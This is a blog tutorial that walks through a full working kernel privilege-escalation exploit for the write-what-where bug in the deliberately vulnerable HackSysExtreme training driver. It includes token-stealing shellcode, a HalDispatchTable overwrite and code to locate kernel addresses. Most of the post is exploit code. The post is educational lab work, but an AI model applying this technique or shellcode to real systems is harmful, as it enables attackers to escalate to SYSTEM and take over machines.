Windows Kernel Exploitation – Arbitrary Overwrite

Today I’m sharing what I learned on developing an exploit for the arbitrary overwrite vulnerability present in the HackSysExtreme Vulnerable Driver. This is also known as the “write-what-where” vulnerability. You can refer to my previous post on exploiting the stack overflow vulnerability and the analysis of the shellcode.

The Vulnerability

You can check the source from here

[code language=”C” highlight=”37″]
NTSTATUS TriggerArbitraryOverwrite(IN PWRITE_WHAT_WHERE UserWriteWhatWhere) {
PULONG What = NULL;
PULONG Where = NULL;
NTSTATUS Status = STATUS_SUCCESS;

PAGED_CODE();

__try {
// Verify if the buffer resides in user mode
ProbeForRead((PVOID)UserWriteWhatWhere,
sizeof(WRITE_WHAT_WHERE),
(ULONG)__alignof(WRITE_WHAT_WHERE));

What = UserWriteWhatWhere->What;
Where = UserWriteWhatWhere->Where;

DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", sizeof(WRITE_WHAT_WHERE));
DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", What);
DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", Where);

#ifdef SECURE
// Secure Note: This is secure because the developer is properly validating if address
// pointed by ‘Where’ and ‘What’ value resides in User mode by calling ProbeForRead()
// routine before performing the write operation
ProbeForRead((PVOID)Where, sizeof(PULONG), (ULONG)__alignof(PULONG));
ProbeForRead((PVOID)What, sizeof(PULONG), (ULONG)__alignof(PULONG));

*(Where) = *(What);
#else
DbgPrint("[+] Triggering Arbitrary Overwrite\n");

// Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
// because the developer is writing the value pointed by ‘What’ to memory location
// pointed by ‘Where’ without properly validating if the values pointed by ‘Where’
// and ‘What’ resides in User mode
*(Where) = *(What);
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}

return Status;
}
[/code]

Everything is well explained in the source code. Basically the ‘where’ and ‘what’ pointers are not validated whether they are located in userland. Due to this we can overwrite an arbitrary kernel address with an arbitrary value.

What arbitrary memory are we going to overwrite?

A good target would be one of the kernel’s dispatch tables. Kernel dispatch tables usually contain function pointers. Dispatch tables are used to add a level of indirection between two or more layers.

One would be the SSDT (System Service Descriptor Table) ‘nt!KiServiceTable’. This stores syscall addresses. When a userland process needs to call a kernel function this table is used to find the correct function call based on the syscall number placed in eax/rax register.

We need a good target which won’t be used by any other processes during our exploitation phase.

The other table would be the Hardware Abstraction Layer (HAL) dispatch table ‘nt!HalDispatchTable’. This table holds the address of HAL routines. This allows Windows to run on machines with different hardware without any changes.

We are going to overwrite the 2nd entry in the HalDispatchTable which is the ‘HaliQuerySystemInformation’ function.

Why are we going to overwrite the 2nd entry in the HalDispatchTable?

There is an undocumented function called ‘NtQueryIntervalProfile’ which obtains the profile interval that is currently set for a given profile source. This function internally calls the ‘KeQueryIntervalProfile’ function.

If we check the ‘KeQueryIntervalProfile’ function we can see that it calls the pointer stored at [HalDispatchTable + 4] which is the ‘HaliQuerySystemInformation’ function as previously shown. This is the 2nd entry in the HalDispatchTable.

We are going to overwrite this pointer with our token stealing shellcode in userland and once we call the ‘NtQueryIntervalProfile’ function we will end up running our shellcode in the kernel, thus escalating privileges to ‘nt authority/system’
[code language=”C”]
NTSTATUS
NtQueryIntervalProfile (
KPROFILE_SOURCE ProfileSource,
ULONG *Interval);
[/code]

To summarize everything here’s a diagram.

Testing the Vulnerability

I will be using the IOCTL code provided in the header of the driver.
[code language=”C”]
#define HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS)
[/code]

We can fill the buffer with 4 As and 4 Bs. The first 4 bytes will be the ‘what’ pointer and the second 4 bytes will be the ‘where’ pointer.

*what = “AAAA”
*where = “BBBB”

[code language=”C”]
#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>
#include <string.h>

#define HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS)

int _tmain(int argc, _TCHAR* argv[]) {
HANDLE hDevice;
DWORD lpBytesReturned;
PVOID pMemoryAddress = NULL;
PULONG lpInBuffer = NULL;
LPCWSTR lpDeviceName = L"\\\\.\\HackSysExtremeVulnerableDriver";
SIZE_T nInBufferSize = 0x8;

hDevice = CreateFile(
lpDeviceName,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL);

wprintf(L"[*] Author: @OsandaMalith\n[*] Website: https://osandamalith.com\n\n");
wprintf(L"[+] lpDeviceName: %ls\n", lpDeviceName);

if (hDevice == INVALID_HANDLE_VALUE) {
wprintf(L"[!] Failed to get a handle to the driver. 0x%x\n", GetLastError());
return 1;
}

lpInBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, nInBufferSize);

if (!lpInBuffer) {
wprintf(L"[!] Failed to allocated memory. %x", GetLastError());
return 1;
}

RtlFillMemory((PVOID)lpInBuffer, 0x4, 0x41);
RtlFillMemory((PVOID)(lpInBuffer + 1), 0x4, 0x42);

wprintf(L"[+] Sending IOCTL request\n");

DeviceIoControl(
hDevice,
HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE,
(LPVOID)lpInBuffer,
(DWORD)nInBufferSize,
NULL,
0,
&lpBytesReturned,
NULL);

HeapFree(GetProcessHeap(), 0, (LPVOID)lpInBuffer);
CloseHandle(hDevice);

return 0;
}
[/code]

https://github.com/OsandaMalith/Exploits/blob/master/HEVD/ArbitraryOverwriteTest.cpp

Now what our skeleton exploit works fine, all we have to do is find the address of the HalDispatchTable + 0x4 and send it instead of 4 Bs as the ‘where’ pointer and our address to shellcode instead of 4 As as the ‘what’ pointer.

Locating the HalDispatchTable

To find the location of the HalDispatchTable in the kernel we will use the ‘NtQuerySystemInformation’ function. This function helps the userland processes to query the kernel for information on the OS and hardware states.

[code language=”C”]
NTSTATUS WINAPI NtQuerySystemInformation(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
[/code]

Since this function has no import libraries we will have to use ‘GetModuleHandle’ and ‘GetProcAddress’ to dynamically load the ‘NtQuerySystemInformation’ function within the memory range of ‘ntdll.dll’.

[code language=”C”]
#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>

#define MAXIMUM_FILENAME_LENGTH 255

typedef struct SYSTEM_MODULE {
ULONG Reserved1;
ULONG Reserved2;
PVOID ImageBaseAddress;
ULONG ImageSize;
ULONG Flags;
WORD Id;
WORD Rank;
WORD w018;
WORD NameOffset;
BYTE Name[MAXIMUM_FILENAME_LENGTH];
}SYSTEM_MODULE, *PSYSTEM_MODULE;

typedef struct SYSTEM_MODULE_INFORMATION {
ULONG ModulesCount;
SYSTEM_MODULE Modules[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef enum _SYSTEM_INFORMATION_CLASS {
SystemModuleInformation = 11,
SystemHandleInformation = 16
} SYSTEM_INFORMATION_CLASS;

typedef NTSTATUS(WINAPI *PNtQuerySystemInformation)(
__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
__inout PVOID SystemInformation,
__in ULONG SystemInformationLength,
__out_opt PULONG ReturnLength
);

int _tmain(int argc, _TCHAR* argv[])
{
ULONG len = 0;
PSYSTEM_MODULE_INFORMATION pModuleInfo;

HMODULE ntdll = GetModuleHandle(L"ntdll");
PNtQuerySystemInformation query = (PNtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation");
if (query == NULL){
wprintf(L"[!] GetModuleHandle Failed\n");
return 1;
}

query(SystemModuleInformation, NULL, 0, &len);

pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);
if (pModuleInfo == NULL){
wprintf(L"[!] Failed to allocate memory\n");
return 1;
}
query(SystemModuleInformation, pModuleInfo, len, &len);
if (!len){
wprintf(L"[!] Failed to retrieve system module information\n");
return 1;
}
PVOID kernelImageBase = pModuleInfo->Modules[0].ImageBaseAddress;
PCHAR kernelImage = (PCHAR)pModuleInfo->Modules[0].Name;

kernelImage = strrchr(kernelImage, ‘\\’) + 1;

wprintf(L"[+] Kernel Image name %S\n", kernelImage);
wprintf(L"[+] Kernel Image Base %p\n", kernelImageBase);

HMODULE KernelHandle = LoadLibraryA(kernelImage);
wprintf(L"[+] Kernel Handle %p\n", KernelHandle);
PVOID HALUserLand = (PVOID)GetProcAddress(KernelHandle, "HalDispatchTable");
wprintf(L"[+] HalDispatchTable userland %p\n", HALUserLand);

PVOID HalDispatchTable = (PVOID)((ULONG)HALUserLand – (ULONG)KernelHandle + (ULONG)kernelImageBase);

wprintf(L"[~] HalDispatchTable Kernel %p\n", HalDispatchTable);

return 0;
}
//EOF
[/code]

https://github.com/OsandaMalith/Exploits/blob/master/HEVD/FindHalDispatchTable.cpp

To bypass ASLR in the kernel we can perform simple arithmetic since we have the base addresses of the loaded modules. We can find any function’s virtual address.

We can verify the offset using the debugger and it’s correct.

Final Exploit

Now that we know the address of the HalDispatchTable we have to overwrite HalDispatchTable + 0x4 with our address to shellcode residing in userland and call the ‘NtQueryIntervalProfile’ function to trigger our shellcode.

[code language=”C”]
#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>
#include <string.h>
#include <Shlobj.h>

#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID

VOID TokenStealingPayloadWin7() {
__asm {
pushad; Save registers state

; Start of Token Stealing Stub
xor eax, eax; Set ZERO
mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at FS : [0x124]

mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process

mov ecx, eax; Copy current process _EPROCESS structure

mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM process PID = 0x4

SearchSystemPID:
mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID

mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx + TOKEN_OFFSET], edx; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub

popad; Restore registers state
}
}

#define HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS)

#define MAXIMUM_FILENAME_LENGTH 255

typedef struct SYSTEM_MODULE {
ULONG Reserved1;
ULONG Reserved2;
PVOID ImageBaseAddress;
ULONG ImageSize;
ULONG Flags;
WORD Id;
WORD Rank;
WORD w018;
WORD NameOffset;
BYTE Name[MAXIMUM_FILENAME_LENGTH];
}SYSTEM_MODULE, *PSYSTEM_MODULE;

typedef struct SYSTEM_MODULE_INFORMATION {
ULONG ModulesCount;
SYSTEM_MODULE Modules[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef enum _SYSTEM_INFORMATION_CLASS {
SystemModuleInformation = 11,
SystemHandleInformation = 16
} SYSTEM_INFORMATION_CLASS;

typedef NTSTATUS(WINAPI *PNtQuerySystemInformation)(
__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
__inout PVOID SystemInformation,
__in ULONG SystemInformationLength,
__out_opt PULONG ReturnLength
);

typedef NTSTATUS(WINAPI *NtQueryIntervalProfile_t)(
IN ULONG ProfileSource,
OUT PULONG Interval
);

int _tmain(int argc, _TCHAR* argv[]) {
HANDLE hDevice;
DWORD lpBytesReturned;
PVOID pMemoryAddress = NULL;
PULONG lpInBuffer = NULL;
LPCWSTR lpDeviceName = L"\\\\.\\HackSysExtremeVulnerableDriver";
SIZE_T nInBufferSize = 0x8;
PVOID EopPayload = &TokenStealingPayloadWin7;
PSYSTEM_MODULE_INFORMATION pModuleInfo;
STARTUPINFO si = { sizeof(STARTUPINFO) };
PROCESS_INFORMATION pi;
ULONG len = 0, interval =0;

hDevice = CreateFile(
lpDeviceName,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
NULL);

wprintf(L"[*] Author: @OsandaMalith\n[*] Website: https://osandamalith.com\n\n");
wprintf(L"[+] lpDeviceName: %ls\n", lpDeviceName);

if (hDevice == INVALID_HANDLE_VALUE) {
wprintf(L"[!] Failed to get a handle to the driver. 0x%x\n", GetLastError());
return 1;
}

lpInBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, nInBufferSize);

if (!lpInBuffer) {
wprintf(L"[!] Failed to allocated memory. %x", GetLastError());
return 1;
}

HMODULE ntdll = GetModuleHandle(L"ntdll");
PNtQuerySystemInformation query = (PNtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation");
if (query == NULL){
wprintf(L"[!] GetModuleHandle Failed\n");
return 1;
}

query(SystemModuleInformation, NULL, 0, &len);

pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);
if (pModuleInfo == NULL){
wprintf(L"[!] Failed to allocated memory. %x", GetLastError());
return 1;
}
query(SystemModuleInformation, pModuleInfo, len, &len);
if (!len){
wprintf(L"[!] Failed to retrieve system module information\n");
return 1;
}
PVOID kernelImageBase = pModuleInfo->Modules[0].ImageBaseAddress;
PCHAR kernelImage = (PCHAR)pModuleInfo->Modules[0].Name;

kernelImage = strrchr(kernelImage, ‘\\’) + 1;

wprintf(L"[+] Kernel Image name %S\n", kernelImage);
wprintf(L"[+] Kernel Image Base %p\n", kernelImageBase);

HMODULE KernelHandle = LoadLibraryA(kernelImage);
wprintf(L"[+] Kernel Handle %p\n", KernelHandle);
PVOID HALUserLand = (PVOID)GetProcAddress(KernelHandle, "HalDispatchTable");
wprintf(L"[+] HalDispatchTable userland %p\n", HALUserLand);

PVOID HalDispatchTable = (PVOID)((ULONG)HALUserLand – (ULONG)KernelHandle + (ULONG)kernelImageBase);

wprintf(L"[~] HalDispatchTable Kernel %p\n\n", HalDispatchTable);

wprintf(L"[~] Address to Shellcode %p\n", (DWORD)&EopPayload);

*lpInBuffer = (DWORD)&EopPayload;
*(lpInBuffer + 1) = (DWORD)((ULONG)HalDispatchTable + sizeof(PVOID));

DeviceIoControl(
hDevice,
HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE,
(LPVOID)lpInBuffer,
(DWORD)nInBufferSize,
NULL,
0,
&lpBytesReturned,
NULL);

NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(ntdll, "NtQueryIntervalProfile");

if (!NtQueryIntervalProfile) {
wprintf(L"[!] Failed to Resolve NtQueryIntervalProfile. \n");
return 1;
}

wprintf(L"[!] Triggering Shellcode");

NtQueryIntervalProfile(0xabcd, &interval);

ZeroMemory(&si, sizeof si);
si.cb = sizeof si;
ZeroMemory(&pi, sizeof pi);

IsUserAnAdmin() ?

CreateProcess(
L"C:\\Windows\\System32\\cmd.exe",
L"/T:17",
NULL,
NULL,
0,
CREATE_NEW_CONSOLE,
NULL,
NULL,
(STARTUPINFO *)&si,
(PROCESS_INFORMATION *)&pi) :

wprintf(L"[!] Exploit Failed!");

HeapFree(GetProcessHeap(), 0, (LPVOID)lpInBuffer);

CloseHandle(hDevice);

return 0;
}
//EOF
[/code]

You can check the second entry in the HalDispatchTable and you can see it’s overwritten by our pointer to shellcode.

If we check this address it’s the pointer to our shellcode.

W00t! Here’s our root shell ?

4 thoughts on “Windows Kernel Exploitation – Arbitrary Overwrite

Leave a Reply